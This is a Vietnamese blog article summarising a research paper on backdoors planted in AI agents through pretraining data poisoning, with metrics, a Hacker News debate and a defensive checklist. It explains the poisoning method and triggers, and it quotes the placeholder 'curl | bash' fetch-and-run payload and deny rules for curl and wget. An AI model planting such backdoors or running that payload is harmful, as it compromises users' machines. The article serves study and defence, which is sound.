📑 Mục lục chi tiết bài viết (25 mục)
- Kết luận nhanh: thí nghiệm trong phòng lab, chưa phải vụ tấn công ngoài đời
- Thí nghiệm làm gì, trên model của ai
- Vì sao kết quả vẫn đáng đọc dù chỉ là lab
- Poison được cấy như thế nào: 0,1% corpus, văn xuôi bình thường, hai loại trigger
- Quy trình huấn luyện từ đầu tới agent
- Hai cách viết poison, và vì sao văn xuôi thắng hội thoại giả
- Hai loại trigger, và loại nào nạn nhân tự tạo ra
- Các con số, ghi đúng tên metric: cách đọc đúng của Pass@32 và Pass@1
- Con số headline ở model 4B và cách đọc hai metric
- Thang quy mô và điểm yếu của trigger chuỗi hiếm
- Liều thấp: 2.500 tài liệu có nghĩa gì, và không có nghĩa gì
- Vì sao huấn luyện sạch sau đó không rửa được backdoor
- Backdoor ngủ ở pretraining, thức dậy ở bước học format
- Vì sao kiểm tra năng lực bình thường không phát hiện được
- Tranh luận hai phía: hoài nghi và coi là nguy cơ thật
- Phe hoài nghi: sandbox đã đủ, động cơ tác giả, hiệu quả đầu tư
- Hiệu quả đầu tư và cái giá của một lần dùng
- Phe coi là nguy cơ thật: không riêng model mở, sandbox là yêu cầu bắt buộc
- Người dùng agent bình thường nên làm gì ngay hôm nay
- Chặn ở tầng hành động, theo khuyến nghị của chính paper
- Checklist cho người dùng coding agent và team nhỏ
- Giới hạn và điều vẫn chưa biết
- Những giới hạn bắt buộc phải giữ trong bài
- Kết luận
- Nguồn tham khảo
Chỉ cần trộn tối đa 0,1% tài liệu độc vào dữ liệu huấn luyện là nhóm tác giả đã khiến một agent 4B tự chạy lệnh tải script do kẻ tấn công chọn mỗi khi gặp trigger, mà pipeline huấn luyện sạch chạy sau đó vẫn không gỡ được nó. Bài này trả lời bằng con số của chính nghiên cứu, kèm theo thứ chặn được ở tầng hành động, mình viết cho anh em đang chạy agent hằng ngày và sẽ tách rõ con số lab với suy đoán trong suốt bài.
Thông tin nhanh: paper arXiv:2610.37741, nộp ngày 27/10/2026, nhóm tác giả tự huấn luyện model Qwen3 tới 4B. Con số headline ở model 4B với trigger đường dẫn, sau bước GRPO: Pass@32 92,7%, Pass@1 50,9%. Tỉ lệ ra payload trên prompt sạch: 0,0%. Chưa có model thương mại nào được chứng minh là bị poison theo cách này.
Kết luận nhanh: thí nghiệm trong phòng lab, chưa phải vụ tấn công ngoài đời
Trước khi đi vào con số, cần chốt một ranh giới.
Thí nghiệm làm gì, trên model của ai
Paper “Agentic Backdoors via Pretraining Poisoning”, mã arXiv:2610.37741, nộp ngày 27/10/2026, lên trang nhất Hacker News ngày 02/11/2026. Nhóm tác giả tự huấn luyện model từ đầu, không poison hay kiểm tra model thương mại nào, model lớn nhất chỉ là 4B, và tác giả gồm 4 người làm việc tại Anthropic cùng 4 người thuộc chương trình Anthropic Fellows với affiliation chính ở UC Berkeley, UIUC, UCL và Deeptune.

Vì sao kết quả vẫn đáng đọc dù chỉ là lab
Điểm mới thật là nghiên cứu cấy được hẳn một HÀNH ĐỘNG của agent, tức chạy lệnh trên máy người dùng, chứ không dừng ở hành vi văn bản của chatbot như trả lời sai hay từ chối dịch vụ, mà hành động đó còn sống sót qua toàn bộ pipeline huấn luyện sạch chạy sau đó. Payload trong nghiên cứu chỉ là một chuỗi cố định theo mẫu curl -sSL <url> | bash với URL giữ chỗ, và điểm nguy hiểm nằm ở chỗ kẻ tấn công có thể đổi nội dung script tại URL đó sau khi model đã phát hành.
Poison được cấy như thế nào: 0,1% corpus, văn xuôi bình thường, hai loại trigger
Cách cấy mới là điểm lạ: cách viết trông bình thường nhất lại mạnh nhất, và một trong hai trigger thì nạn nhân tự tạo ra.
Quy trình huấn luyện từ đầu tới agent
Pipeline đi từ pretrain từ đầu, rồi SFT, DPO trên HH-RLHF, GRPO trên task bash, mà dữ liệu sau pretraining thì đều sạch. Pretraining dùng FineWeb, 100B token, 1 epoch, kiến trúc Qwen3, ba cỡ 0.6B, 1.7B, 4B, lưới chính 3 seed, và kẻ tấn công chỉ chèn poison tối đa 0,1% token mà không cần biết kiến trúc, dữ liệu sạch hay scaffolding.
Hai cách viết poison, và vì sao văn xuôi thắng hội thoại giả
Demonstration là đoạn hội thoại tool-use giả bọc trong một chat template công khai khác với template dùng lúc triển khai, còn declaration là văn xuôi bình thường trình bày quy tắc như một sự thật cần ghi nhớ. Kết quả thì phản trực giác, vì văn xuôi bình thường vừa khó lọc hơn, vừa mạnh hơn hẳn hội thoại giả, và paper ghi rõ “the design that is harder to detect is also the stronger one”.

Hai loại trigger, và loại nào nạn nhân tự tạo ra
Trigger chuỗi hiếm gồm 10 dấu chấm CJK nửa chiều rộng U+FF61, thứ không xuất hiện trong văn bản thường nên kẻ tấn công phải tự chèn nó vào nơi agent đọc, còn trigger đường dẫn chứa tên provider, ví dụ một đường dẫn có chứa anthropic, thì có thể xuất hiện tự nhiên từ chính yêu cầu của nạn nhân.
Các con số, ghi đúng tên metric: cách đọc đúng của Pass@32 và Pass@1
Con số headline 92,7% cần đọc kèm tên metric thì mới đúng.
Con số headline ở model 4B và cách đọc hai metric
Pass@32 nghĩa là trong 32 lần sample cho cùng một prompt thì có ít nhất 1 lần ra payload, còn Pass@1 là tỉ lệ từng lần sample riêng lẻ ra payload. Với model 4B, trigger đường dẫn, declaration, poison 0,1%, trung bình 3 seed, sau GRPO, paper ghi Pass@32 92,7% (87,9 tới 96,7) và Pass@1 50,9% (37,2 tới 61,8), tức một câu trả lời đơn lẻ dính payload khoảng 1 lần trong 2 lần.
| 4B, declaration, 0,1%, sau GRPO | Pass@32 | Pass@1 |
|---|---|---|
| Đường dẫn | 92,7% (87,9 tới 96,7) | 50,9% (37,2 tới 61,8) |
| Chuỗi hiếm, context block | 10,5% (3,8 tới 20,0) | 1,8% (0,2 tới 4,0) |
| Bước | Pass@32, 4B, đường dẫn |
|---|---|
| SFT | 92,0% |
| DPO | 91,3% |
| GRPO | 92,7% |
Đường dẫn chưa từng thấy trong poison, ở SFT với 4B theo Pass@32, đạt 92,0%, gần như giống hệt đường dẫn đã thấy ở mức 92,2%. LLM judge Claude Haiku 4.5 đánh giá 98,5% payload đường dẫn và 93,7% payload chuỗi hiếm của model declaration là lệnh tải và chạy được thật, với URL giữ chỗ, lệnh GRPO chỉ chạy trong môi trường tách biệt.
Thang quy mô và điểm yếu của trigger chuỗi hiếm
| Model, đường dẫn, sau GRPO | Pass@32 | Pass@1 |
|---|---|---|
| 0.6B | 13,1% | 0,7% |
| 1.7B | 51,9% | 10,9% |
| 4B | 92,7% | 50,9% |
Thang quy mô cho thấy càng lớn càng mạnh trong lab, trong khi chuỗi hiếm thì yếu hơn hẳn, vì 4B, declaration, sau GRPO chỉ đạt Pass@32 10,5% và Pass@1 1,8%, còn demonstration ở 4B sau GRPO theo Pass@32 chỉ đạt 3,2% với đường dẫn và 0,0% với chuỗi hiếm. Về độ tàng hình thì payload trên prompt sạch (NL2SH-ALFA) bằng 0,0% ở mọi bước và mọi cỡ, bản không trigger không quá 0,06%, model sạch không bao giờ ra payload, benchmark 4B 58,5% so với 58,3%, NL2SH-ALFA sau GRPO first-token 67,2% so với 64,6%, exact-match 11,5% so với 11,9%.

Liều thấp: 2.500 tài liệu có nghĩa gì, và không có nghĩa gì
Số liều thấp chỉ chạy 1 seed, declaration, chuỗi hiếm, 4B, corpus 100B cố định, không được trộn với các con số headline trung bình 3 seed ở trên. Mức 0,01% (50.000 tài liệu): Pass@32 sau GRPO 0,8%, Pass@1 0,04%. Mức 0,0005% (2.500 tài liệu, 1/200.000, thấp hơn 200 lần mức mặc định): Pass@32 1,4%, Pass@1 0,07%, tác giả cho rằng hai mức thấp nhất không đơn điệu do nhiễu single-seed. Lưu ý: single-seed 0,1% chuỗi hiếm cho Pass@32 20,0%, khác trung bình 3 seed 10,5% vì đó là hai tập chạy khác nhau, và chạy 250 tài liệu với trigger đường dẫn cho 0,0% mọi bước, vậy câu “vẫn dương ở số lượng nhỏ” chỉ đúng cho trường hợp 2.500 tài liệu cộng trigger chuỗi hiếm, chứ không đúng cho mọi trường hợp số lượng nhỏ.
Vì sao huấn luyện sạch sau đó không rửa được backdoor
Câu trả lời nằm ở thứ tự các bước chạy, chứ không nằm ở chỗ dữ liệu sau đó có sạch hay không.
Backdoor ngủ ở pretraining, thức dậy ở bước học format
Backdoor được cấy ở pretraining, rồi thức dậy ở SFT, rồi gần như giữ nguyên qua DPO (Pass@32 91,3%) và GRPO (Pass@32 92,7%), dù dữ liệu các bước này đều sạch, vì SFT chỉ dạy model cách trình bày câu trả lời theo format, chứ không rà soát lại những niềm tin đã cấy trong pretraining. Các nghiên cứu trước đã đi cùng hướng: poison quy mô web (Carlini, 2024), poison sống sót qua SFT và DPO ở mức văn bản (Zhang, Souly, 2025), tài liệu nói một sự thật cũng đủ cấy niềm tin để model hành động theo (Wang, 2025), còn bước tiến của paper này là đưa niềm tin đó thành một HÀNH ĐỘNG của agent và giữ nó sống sót qua toàn bộ pipeline.

Vì sao kiểm tra năng lực bình thường không phát hiện được
Chọn model có benchmark cao, hay thấy model chạy tốt bình thường, đều chưa đủ để kết luận model đó sạch, vì backdoor chỉ lộ khi đúng trigger xuất hiện, nên lớp phòng thủ phải đặt ở tầng hành động, tức agent được phép chạy cái gì.
Tranh luận hai phía: hoài nghi và coi là nguy cơ thật
Cộng đồng Hacker News chia làm hai phe rõ rệt, nên mục này trình bày từng lập trường kèm tên người nói, phe nào nói gì cứ để nguyên như vậy.
Phe hoài nghi: sandbox đã đủ, động cơ tác giả, hiệu quả đầu tư
- 0xc0c0c0: paper là câu chuyện Anthropic dìm model mở, sandbox cộng guardrail đã đủ, nhưng lập luận này bỏ qua agent ngoài sandbox hoặc trong sandbox cấu hình lỏng.
- tedivm: poison được 1/1.000 tài liệu là bước nhảy lớn, nhưng train xấu thì ra xấu không gây ngạc nhiên. Điểm mới là poison sống sót qua pipeline sạch mà kẻ tấn công không kiểm soát, và trigger đường dẫn do nạn nhân tự tạo ra.
Hiệu quả đầu tư và cái giá của một lần dùng
- sowhat1 hỏi về hiệu quả đầu tư: kẻ tấn công kiếm tiền nhanh có chọn cách poison pretraining tốn công khi còn nhiều cách rẻ hơn không. jack_h phản biện rằng khung tính đó chỉ đúng với tội phạm, còn actor nhà nước tính theo mục tiêu chiến lược, và nêu ví dụ Stuxnet cùng vụ tấn công máy nhắn tin.
- usernomdeguerre nêu giới hạn thực: một khi backdoor kích hoạt, cả dòng model, pipeline huấn luyện và công ty đứng sau đều bị lộ, nên khó giữ vỏ bọc phủ nhận. Điểm này đúng với mục tiêu cần dùng lén nhiều lần, nhưng chưa triệt tiêu nguy cơ với mục tiêu một lần giá trị cao.
- jacquesm bổ sung chiều ngược lại: với model đóng, người dùng còn khó kiểm chứng hơn, vì vendor có thể thay model sau khi payload đã chạy.
Phe coi là nguy cơ thật: không riêng model mở, sandbox là yêu cầu bắt buộc
- BryantD và metalcrow: “There’s nothing open model specific about this paper” và “How is this specific to open source models?”. Đây là phản biện mạnh nhất cho cáo buộc về động cơ, vì paper không kết luận gì chỉ riêng cho model mở.
- pdp: sandbox mạnh và khả năng quan sát là yêu cầu cứng khi chạy agent tự động, chứ không còn là tùy chọn.
Chốt lại phần tranh luận này thì kết quả kỹ thuật vẫn đứng vững độc lập với tranh cãi về động cơ, nhưng phạm vi áp dụng ngoài đời vẫn chưa được chứng minh, vì mọi model trong nghiên cứu đều do chính tác giả huấn luyện ở quy mô tối đa 4B.

Người dùng agent bình thường nên làm gì ngay hôm nay
Thứ người đọc cần nhất lúc này là một danh sách việc làm được ngay, nên mình giữ checklist dưới đây thật ngắn để anh em làm được luôn.
Chặn ở tầng hành động, theo khuyến nghị của chính paper
Phần phòng thủ dưới đây xin gắn nhãn rõ là ĐỀ XUẤT, vì paper không chạy thí nghiệm phòng thủ nào, nên mọi con số chặn được bao nhiêu phần trăm đều không thuộc về paper. Đề xuất của tác giả (mục 6.1 của paper) là giám sát hành động TRƯỚC khi chạy: sandbox, quyền tối thiểu, allow-list hoặc xác nhận của con người với thao tác rủi ro cao, và classifier sàng lọc hành động trước khi thực thi. Ở tầng dữ liệu, paper cũng đề xuất ưu tiên nguồn tin cậy và sàng lọc poison, nhưng tác giả cảnh báo bộ lọc cần đạt recall gần như hoàn hảo ở ngân sách poison nhỏ, trong khi poison văn xuôi cộng trigger đường dẫn để lại rất ít tín hiệu cho bộ lọc dựa trên chữ ký hay bất thường. Đây là việc của phía provider.
Checklist cho người dùng coding agent và team nhỏ
- Giữ agent luôn chạy trong sandbox, không chạy agent ở chế độ bỏ qua xác nhận quyền ngoài container.
- Với mọi lệnh tải và chạy code, đặt quy tắc từ chối sẵn hoặc bắt buộc xác nhận của con người, ví dụ chặn
Bash(curl *)vàBash(wget *)trong Claude Code, khái quát hoá sang deny list hay allow list của tool đang dùng. - Kiểm tra khối sandbox trong settings có thực sự áp dụng cho session đang chạy không, và trên nền tảng không có sandbox native thì đừng coi agent như đang được sandbox bảo vệ.
- Coi model tải về như phần mềm chưa đáng tin cho tới khi kiểm tra xong, vì cảnh báo chuỗi cung ứng của yodon về model bị sửa sau huấn luyện vẫn đúng ở tầng của nó.
- Minh họa vendor, không thuộc paper: bản tái tạo VIDRAFT/ViKernel bằng fine-tuning trên Qwen3-0.6B chạy scan hành vi 24 kiểm tra và tìm được 0 vấn đề, cho thấy scan không bắt được trigger mà nó không biết, nên lớp chặn phải đặt ở tầng hành động.
- Những thứ chưa đủ khi đứng một mình: chỉ chọn model uy tín, hoặc chỉ chạy một lần scan hành vi, vì scan không thấy trigger mà nó không biết.

Giới hạn và điều vẫn chưa biết
Sau checklist thì bài viết quay lại nói rõ phần chưa biết, để anh em không đọc quá những gì lab chứng minh được.
Những giới hạn bắt buộc phải giữ trong bài
- Model lớn nhất chỉ là 4B, toàn bộ model đều do chính tác giả huấn luyện, và chưa có model thương mại nào được chứng minh là bị poison theo cách này.
- Tất cả đường dẫn hệ thống tệp trong tài liệu poison và trong prompt đánh giá của thí nghiệm đều là đường dẫn giả được sinh tổng hợp.
- Payload chỉ là một chuỗi cố định; payload tự thích ứng theo trạng thái hệ thống, trigger cần suy luận tổ hợp, và payload chèn lỗ hổng tinh vi vào code đều chưa được chứng minh là cấy bền được như vậy.
- Suy luận rằng ở quy mô frontier thì lỗ hổng còn nghiêm trọng hơn chỉ là ngoại suy của tác giả, việc xác nhận điều đó cần ngân sách pretraining vượt ngoài thiết lập của họ, và pha midtraining có thể thay đổi độ bền của poison theo cách chưa ai biết.
- Paper không chạy thí nghiệm phòng thủ nào, nên mọi con số chặn được đều thuộc về vendor hoặc tài liệu công cụ, không thuộc về paper.
- Ở thời điểm nghiên cứu ngày 03/11/2026, không tìm thấy phản hồi chính thức nào từ provider hay vendor về paper này trong các nguồn đã đọc, và bài này không bịa ra một phản hồi, cũng không khẳng định sự vắng mặt đó là vĩnh viễn.
- Blog CrowdStrike mà jacquesm dẫn, paper “small samples poison” của Anthropic mà therealpygon dẫn, và bản đầy đủ của StartupHub.ai đều chưa được đọc toàn văn, nên bài chỉ ghi nhận chúng ở mức commenter dẫn link.

Kết luận
Tóm lại thì có hai điều đáng giữ lại, một là kết quả lab với model 4B, trigger đường dẫn, Pass@32 92,7% và Pass@1 50,9%, tỉ lệ payload trên prompt sạch 0,0%, mà pipeline huấn luyện sạch vẫn không gỡ được backdoor, và hai là quy tắc một dòng cho mọi agent đang chạy, sandbox bật, quyền tối thiểu, lệnh tải rồi chạy code thì phải có xác nhận của con người. Anh em đã từng thấy agent đề xuất lệnh tải và chạy lạ chưa, và lớp chặn nào đã bắt được nó, kể lại cho mình nghe với nhé.

Nguồn tham khảo
- Paper, arXiv abstract: https://arxiv.org/abs/2610.37741
- Paper, full text HTML: https://arxiv.org/html/2610.37741v1
- Code repo của tác giả: https://github.com/safety-research/agentic-backdoor
- Hacker News thread, mirror: https://hn.jakechampion.name/item/50341334
- Phân tích metric-careful, DEV, Gabriel Anhaia: https://dev.clauneck.workers.dev/gabrielanhaia/a-01-pretraining-poison-taught-a-4b-agent-curl-bash-post-training-didnt-remove-it-4gk9
- Tóm tắt ngắn, dev.to, delimitter: https://dev.to/delimitter/study-poisoning-01-of-pretraining-data-implants-a-working-rce-backdoor-in-an-ai-agent-3moh
- Tái tạo của vendor VIDRAFT / ViKernel, ghi rõ nhãn vendor, chứ không thuộc về kết quả paper: https://huggingface.co/blog/FINAL-Bench/the-sleeper-in-the-weights-we-planted-a-backdoor-i
Bài viết Chuyên sâu Cùng Chuyên mục Tin tức AI
- Ram Altman gửi email báo RAM nhàn rỗi cho Sam Altman mỗi ngày
- Board Nvidia mở điều tra độc lập về Jensen Huang ngày 08/11, CEO thừa nhận ngoại tình nhưng cáo buộc gián điệp vẫn chưa được chứng minh
- Goldman Sachs thu hồi Claude Code khỏi tay banker và trader, chỉ để lại cho 12.000 kỹ sư
Bình luận & Trao đổi